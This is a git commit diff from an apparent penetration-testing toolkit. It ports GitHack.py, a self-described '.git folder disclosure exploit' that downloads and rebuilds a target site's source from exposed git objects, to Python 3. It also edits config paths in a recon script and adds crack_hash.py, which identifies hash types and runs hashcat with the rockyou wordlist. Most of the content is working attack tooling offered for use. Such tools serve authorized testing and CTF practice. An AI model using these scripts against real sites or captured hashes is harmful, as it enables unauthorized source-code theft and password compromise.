GitHack 2 -> 3, crack hash, requirements
This commit is contained in:
parent
09f85c0e74
commit
4c265dc683
106
GitHack.py
106
GitHack.py
@ -1,39 +1,26 @@
|
||||
#!/usr/bin/env python
|
||||
# -*- encoding: utf-8 -*-
|
||||
|
||||
import sys
|
||||
import urllib2
|
||||
import os
|
||||
import urlparse
|
||||
import zlib
|
||||
from urllib.parse import urlparse
|
||||
import threading
|
||||
import Queue
|
||||
import re
|
||||
import collections
|
||||
import binascii
|
||||
import requests
|
||||
import struct
|
||||
import queue
|
||||
import time
|
||||
import ssl
|
||||
|
||||
#!/usr/bin/env python
|
||||
#
|
||||
# https://github.com/git/git/blob/master/Documentation/technical/index-format.txt
|
||||
#
|
||||
|
||||
import binascii
|
||||
import collections
|
||||
import mmap
|
||||
import struct
|
||||
import sys
|
||||
|
||||
import os
|
||||
import re
|
||||
|
||||
def check(boolean, message):
|
||||
if not boolean:
|
||||
import sys
|
||||
print "error: " + message
|
||||
sys.exit(1)
|
||||
|
||||
print("error: " + message)
|
||||
exit(1)
|
||||
|
||||
def parse(filename, pretty=True):
|
||||
with open(filename, "rb") as o:
|
||||
f = mmap.mmap(o.fileno(), 0, access=mmap.ACCESS_READ)
|
||||
with open(filename, "rb") as f:
|
||||
# f = mmap.mmap(o.fileno(), 0, access=mmap.ACCESS_READ)
|
||||
|
||||
def read(format):
|
||||
# "All binary numbers are in network byte order."
|
||||
@ -137,41 +124,30 @@ def parse(filename, pretty=True):
|
||||
|
||||
padlen = (8 - (entrylen % 8)) or 8
|
||||
nuls = f.read(padlen)
|
||||
check(set(nuls) == set(['\x00']), "padding contained non-NUL")
|
||||
check(set(nuls) == set([0]), "padding contained non-NUL")
|
||||
|
||||
yield entry
|
||||
|
||||
f.close()
|
||||
|
||||
context = ssl._create_unverified_context()
|
||||
if len(sys.argv) == 1:
|
||||
msg = """
|
||||
A `.git` folder disclosure exploit. By LiJieJie
|
||||
|
||||
Usage: GitHack.py http://www.target.com/.git/
|
||||
|
||||
bug-report: my[at]lijiejie.com (http://www.lijiejie.com)
|
||||
"""
|
||||
print msg
|
||||
sys.exit(0)
|
||||
|
||||
|
||||
class Scanner(object):
|
||||
def __init__(self):
|
||||
self.base_url = sys.argv[-1]
|
||||
self.domain = urlparse.urlparse(sys.argv[-1]).netloc.replace(':', '_')
|
||||
|
||||
self.domain = urlparse(sys.argv[-1]).netloc.replace(':', '_')
|
||||
if not os.path.exists(self.domain):
|
||||
os.mkdir(self.domain)
|
||||
print '[+] Download and parse index file ...'
|
||||
|
||||
print('[+] Download and parse index file ...')
|
||||
data = self._request_data(sys.argv[-1] + '/index')
|
||||
with open('index', 'wb') as f:
|
||||
with open('%s/index' % self.domain, 'wb') as f:
|
||||
f.write(data)
|
||||
self.queue = Queue.Queue()
|
||||
self.queue = queue.Queue()
|
||||
for entry in parse('index'):
|
||||
if "sha1" in entry.keys():
|
||||
self.queue.put((entry["sha1"].strip(), entry["name"].strip()))
|
||||
try:
|
||||
print entry['name']
|
||||
print(entry['name'])
|
||||
except Exception as e:
|
||||
pass
|
||||
self.lock = threading.Lock()
|
||||
@ -180,45 +156,49 @@ class Scanner(object):
|
||||
|
||||
@staticmethod
|
||||
def _request_data(url):
|
||||
request = urllib2.Request(url, None, {'User-Agent': 'Mozilla/5.0 (iPhone; CPU iPhone OS 6_0 like Mac OS X)'})
|
||||
return urllib2.urlopen(request, context=context).read()
|
||||
print(url)
|
||||
res = requests.get(url, headers={'User-Agent': 'Mozilla/5.0 (iPhone; CPU iPhone OS 6_0 like Mac OS X)'})
|
||||
if res.status_code != 200:
|
||||
raise Exception("Server returned: %d %s" % (res.status_code, res.reason))
|
||||
|
||||
return res.content
|
||||
|
||||
def _print(self, msg):
|
||||
self.lock.acquire()
|
||||
try:
|
||||
print msg
|
||||
print(msg)
|
||||
except Exception as e:
|
||||
pass
|
||||
self.lock.release()
|
||||
|
||||
def get_back_file(self):
|
||||
|
||||
while not self.STOP_ME:
|
||||
|
||||
try:
|
||||
sha1, file_name = self.queue.get(timeout=0.5)
|
||||
except Exception as e:
|
||||
break
|
||||
for i in range(3):
|
||||
|
||||
try:
|
||||
folder = '/objects/%s/' % sha1[:2]
|
||||
data = self._request_data(self.base_url + folder + sha1[2:])
|
||||
try:
|
||||
data = zlib.decompress(data)
|
||||
except:
|
||||
self._print('[Error] Fail to decompress %s' % file_name)
|
||||
data = re.sub(r'blob \d+\00', '', data)
|
||||
except:
|
||||
# self._print('[Error] Fail to decompress %s' % file_name)
|
||||
pass
|
||||
|
||||
target_dir = os.path.join(self.domain, os.path.dirname(file_name))
|
||||
if target_dir and not os.path.exists(target_dir):
|
||||
os.makedirs(target_dir)
|
||||
with open(os.path.join(self.domain, file_name), 'wb') as f:
|
||||
f.write(data)
|
||||
self._print('[OK] %s' % file_name)
|
||||
break
|
||||
except urllib2.HTTPError, e:
|
||||
if str(e).find('HTTP Error 404') >= 0:
|
||||
self._print('[File not found] %s' % file_name)
|
||||
break
|
||||
except Exception as e:
|
||||
self._print('[Error] %s' % str(e))
|
||||
|
||||
self.exit_thread()
|
||||
|
||||
def exit_thread(self):
|
||||
@ -233,12 +213,24 @@ class Scanner(object):
|
||||
|
||||
|
||||
if __name__ == '__main__':
|
||||
context = ssl._create_unverified_context()
|
||||
if len(sys.argv) == 1:
|
||||
msg = """
|
||||
A `.git` folder disclosure exploit. By LiJieJie
|
||||
|
||||
Usage: GitHack.py http://www.target.com/.git/
|
||||
|
||||
bug-report: my[at]lijiejie.com (http://www.lijiejie.com)
|
||||
"""
|
||||
print(msg)
|
||||
exit()
|
||||
|
||||
s = Scanner()
|
||||
s.scan()
|
||||
try:
|
||||
while s.thread_count > 0:
|
||||
time.sleep(0.1)
|
||||
except KeyboardInterrupt, e:
|
||||
except KeyboardInterrupt as e:
|
||||
s.STOP_ME = True
|
||||
time.sleep(1.0)
|
||||
print 'User Aborted.'
|
||||
print('User Aborted.')
|
||||
|
@ -147,7 +147,7 @@ def calculate_elapsed_time(start_time):
|
||||
return ', '.join(elapsed_time)
|
||||
|
||||
port_scan_profiles_config_file = 'port-scan-profiles.toml'
|
||||
with open(os.path.join(rootdir, 'config', port_scan_profiles_config_file), 'r') as p:
|
||||
with open(os.path.join(rootdir, 'autorecon_config', port_scan_profiles_config_file), 'r') as p:
|
||||
try:
|
||||
port_scan_profiles_config = toml.load(p)
|
||||
|
||||
@ -157,13 +157,13 @@ with open(os.path.join(rootdir, 'config', port_scan_profiles_config_file), 'r')
|
||||
except toml.decoder.TomlDecodeError as e:
|
||||
fail('Error: Couldn\'t parse {port_scan_profiles_config_file} config file. Check syntax and duplicate tags.')
|
||||
|
||||
with open(os.path.join(rootdir, 'config', 'service-scans.toml'), 'r') as c:
|
||||
with open(os.path.join(rootdir, 'autorecon_config', 'service-scans.toml'), 'r') as c:
|
||||
try:
|
||||
service_scans_config = toml.load(c)
|
||||
except toml.decoder.TomlDecodeError as e:
|
||||
fail('Error: Couldn\'t parse service-scans.toml config file. Check syntax and duplicate tags.')
|
||||
|
||||
with open(os.path.join(rootdir, 'config', 'global-patterns.toml'), 'r') as p:
|
||||
with open(os.path.join(rootdir, 'autorecon_config', 'global-patterns.toml'), 'r') as p:
|
||||
try:
|
||||
global_patterns = toml.load(p)
|
||||
if 'pattern' in global_patterns:
|
||||
|
192
crack_hash.py
Normal file
192
crack_hash.py
Normal file
@ -0,0 +1,192 @@
|
||||
#!/usr/bin/env python
|
||||
|
||||
import sys
|
||||
import requests
|
||||
import subprocess
|
||||
import enum
|
||||
import re
|
||||
import tempfile
|
||||
import base64
|
||||
import io
|
||||
from bs4 import BeautifulSoup
|
||||
|
||||
HEX_PATTERN = re.compile("^[a-fA-F0-9]+$")
|
||||
B64_PATTERN = re.compile("^[a-zA-Z0-9+/=]+$")
|
||||
B64_URL_PATTERN = re.compile("^[a-zA-Z0-9=_-]+$")
|
||||
|
||||
class HashType(enum.Enum):
|
||||
|
||||
# MD5
|
||||
RAW_MD4 = 900
|
||||
RAW_MD5 = 0
|
||||
MD5_PASS_SALT = 10
|
||||
MD5_SALT_PASS = 20
|
||||
|
||||
# SHA1
|
||||
RAW_SHA1 = 100
|
||||
SHA1_PASS_SALT = 110
|
||||
SHA1_SALT_PASS = 120
|
||||
|
||||
# SHA2
|
||||
RAW_SHA2_224 = 1300
|
||||
RAW_SHA2_256 = 1400
|
||||
RAW_SHA2_384 = 10800
|
||||
RAW_SHA2_512 = 1700
|
||||
SHA512_PASS_SALT = 1710
|
||||
SHA512_SALT_PASS = 1720
|
||||
|
||||
# SHA3
|
||||
RAW_SHA3_224 = 17300
|
||||
RAW_SHA3_256 = 17400
|
||||
RAW_SHA3_384 = 17500
|
||||
RAW_SHA3_512 = 17600
|
||||
|
||||
# Keccak
|
||||
RAW_KECCAK_224 = 17700
|
||||
RAW_KECCAK_256 = 17800
|
||||
RAW_KECCAK_384 = 17900
|
||||
RAW_KECCAK_512 = 18000
|
||||
|
||||
# Ripe-MD
|
||||
RAW_RIPEMD_160 = 6000
|
||||
|
||||
# Crypt
|
||||
CRYPT_MD5 = 500
|
||||
CRYPT_BLOWFISH = 3200
|
||||
CRYPT_SHA256 = 7400
|
||||
CRYPT_SHA512 = 1800
|
||||
CRYPT_APACHE = 1600
|
||||
|
||||
class Hash:
|
||||
|
||||
def __init__(self, hash):
|
||||
self.hash = hash
|
||||
self.salt = None
|
||||
self.isSalted = False
|
||||
self.type = []
|
||||
self.cracked = None
|
||||
self.findType()
|
||||
|
||||
def findType(self):
|
||||
|
||||
raw_hash = self.hash
|
||||
if raw_hash[0] == "$":
|
||||
crypt_parts = list(filter(None, raw_hash.split("$")))
|
||||
crypt_type = crypt_parts[0]
|
||||
self.isSalted = len(crypt_parts) > 2
|
||||
if crypt_type == "1":
|
||||
self.type.append(HashType.CRYPT_MD5)
|
||||
elif crypt_type.startswith("2"):
|
||||
self.type.append(HashType.CRYPT_BLOWFISH)
|
||||
elif crypt_type == "5":
|
||||
self.type.append(HashType.CRYPT_SHA256)
|
||||
elif crypt_type == "6":
|
||||
self.type.append(HashType.CRYPT_SHA512)
|
||||
elif crypt_type == "apr1":
|
||||
self.type.append(HashType.CRYPT_APACHE)
|
||||
else:
|
||||
self.isSalted = ":" in raw_hash
|
||||
if self.isSalted:
|
||||
raw_hash, self.salt = raw_hash.split(":")
|
||||
|
||||
# Base64 -> hex
|
||||
try:
|
||||
if not HEX_PATTERN.match(raw_hash):
|
||||
|
||||
if B64_URL_PATTERN.match(raw_hash):
|
||||
raw_hash = raw_hash.replace("-","+").replace("_","/")
|
||||
if B64_PATTERN.match(raw_hash):
|
||||
raw_hash = base64.b64decode(raw_hash.encode("UTF-8")).decode("UTF-8").hex()
|
||||
|
||||
if self.isSalted:
|
||||
self.hash = raw_hash + ":" + self.salt
|
||||
else:
|
||||
self.hash = raw_hash
|
||||
except:
|
||||
pass
|
||||
|
||||
if HEX_PATTERN.match(raw_hash):
|
||||
hash_len = len(raw_hash)
|
||||
if hash_len == 32:
|
||||
if self.isSalted:
|
||||
self.type.append(HashType.MD5_PASS_SALT)
|
||||
self.type.append(HashType.MD5_SALT_PASS)
|
||||
else:
|
||||
self.type.append(HashType.RAW_MD5)
|
||||
self.type.append(HashType.RAW_MD4)
|
||||
elif hash_len == 40:
|
||||
if self.isSalted:
|
||||
self.type.append(HashType.SHA1_PASS_SALT)
|
||||
self.type.append(HashType.SHA1_SALT_PASS)
|
||||
else:
|
||||
self.type.append(HashType.RAW_SHA1)
|
||||
self.type.append(HashType.RAW_MD4)
|
||||
self.type.append(HashType.RAW_RIPEMD_160)
|
||||
elif hash_len == 96:
|
||||
if not self.isSalted:
|
||||
self.type.append(HashType.RAW_SHA2_384)
|
||||
self.type.append(HashType.RAW_SHA3_384)
|
||||
self.type.append(HashType.RAW_KECCAK_384)
|
||||
elif hash_len == 128:
|
||||
if self.isSalted:
|
||||
self.type.append(HashType.SHA512_PASS_SALT)
|
||||
self.type.append(HashType.SHA512_SALT_PASS)
|
||||
else:
|
||||
self.type.append(HashType.RAW_SHA2_512)
|
||||
self.type.append(HashType.RAW_SHA3_512)
|
||||
self.type.append(HashType.RAW_KECCAK_256)
|
||||
|
||||
if len(self.type) == 0:
|
||||
print("%s: Unknown hash" % self.hash)
|
||||
|
||||
if len(sys.argv) < 2:
|
||||
print("Usage: %s <file>" % sys.argv[0])
|
||||
exit(1)
|
||||
|
||||
hashes = [Hash(x) for x in filter(None, [line.strip() for line in open(sys.argv[1],"r").readlines()])]
|
||||
|
||||
uncracked_hashes = { }
|
||||
for hash in hashes:
|
||||
if hash.type:
|
||||
for t in hash.type:
|
||||
if t not in uncracked_hashes:
|
||||
uncracked_hashes[t] = []
|
||||
uncracked_hashes[t].append(hash)
|
||||
|
||||
if len(uncracked_hashes) > 0:
|
||||
uncracked_types = list(uncracked_hashes.keys())
|
||||
num_types = len(uncracked_types)
|
||||
if num_types > 0:
|
||||
print("There are multiple uncracked hashes left with different hash types, choose one to proceed with hashcat:")
|
||||
print()
|
||||
|
||||
i = 0
|
||||
for t,lst in uncracked_hashes.items():
|
||||
print("%d.\t%s:\t%d hashe(s)" % (i, str(t)[len("HashType."):], len(lst)))
|
||||
i += 1
|
||||
|
||||
# Ask user…
|
||||
selected = None
|
||||
while selected is None or selected < 0 or selected >= num_types:
|
||||
try:
|
||||
selected = int(input("Your Choice: ").strip())
|
||||
if selected >= 0 and selected < num_types:
|
||||
break
|
||||
except Exception as e:
|
||||
if type(e) in [EOFError, KeyboardInterrupt]:
|
||||
print()
|
||||
exit()
|
||||
|
||||
print("Invalid input")
|
||||
selected_type = uncracked_types[selected]
|
||||
else:
|
||||
selected_type = uncracked_types[0]
|
||||
|
||||
fp = tempfile.NamedTemporaryFile()
|
||||
for hash in uncracked_hashes[selected_type]:
|
||||
fp.write(b"%s\n" % hash.hash.encode("UTF-8"))
|
||||
fp.flush()
|
||||
|
||||
proc = subprocess.Popen(["hashcat", "-m", str(selected_type.value), "-a", "0", fp.name, "/usr/share/wordlists/rockyou.txt", "--force"])
|
||||
proc.wait()
|
||||
fp.close()
|
6
requirements.txt
Normal file
6
requirements.txt
Normal file
@ -0,0 +1,6 @@
|
||||
netifaces==0.10.9
|
||||
colorama==0.4.3
|
||||
requests==2.23.0
|
||||
toml==0.10.0
|
||||
paramiko==2.7.1
|
||||
beautifulsoup4==4.9.1
|
Loading…
Reference in New Issue
Block a user